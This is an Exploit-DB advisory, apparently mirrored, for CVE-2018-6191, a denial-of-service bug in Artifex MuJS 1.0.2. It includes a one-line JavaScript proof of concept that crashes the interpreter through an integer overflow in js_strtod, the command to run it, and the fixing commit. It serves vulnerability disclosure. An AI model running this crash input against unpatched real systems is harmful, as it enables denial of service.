Artifex MuJS 1.0.2 – Denial of Service - 体验盒子

作者： Andrea Sindoni

日期： 2018-01-28

类别：

dos

平台：

multiple

来源：https://www.exploit-db.com/exploits/43903/

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Hello,

I want to submit the following bug:

The js_strtod function in jsdtoa.c in Artifex MuJS through 1.0.2 has an

integer overflow because of incorrect exponent validation.

# Exploit Title: Integer signedness error leading to Out-of-bounds read

that causes crash

# Date: 2018-01-24

# Exploit Author: Andrea Sindoni - @invictus1306

# Vendor: Artifex (https://www.artifex.com/)

# Software Link: https://github.com/ccxvii/mujs

# Version: Mujs - 228719d087aa5e27dcd8627c4acf7273476bdbca

# Tested on: Linux

# CVE : CVE-2018-6191

Content of the poc file

$ cat poc.js

function pipo() {var 2e2147483648= 117486231123842366;}

Run it

$ mujs poc.js

Additional details about the bug:

Inside the function js_strtod, after this line

https://github.com/ccxvii/mujs/blob/81388eb40d29f10599ac30dde90e683a3c254375/jsdtoa.c#L714

exp = -exp;

the value of "exp" is still negative (cause integer declaration).

Fixed in commit 25821e6d74fab5fcc200fe5e818362e03e114428 (

http://git.ghostscript.com/?p=mujs.git;a=commit;h=25821e6d74fab5fcc200fe5e818362e03e114428

)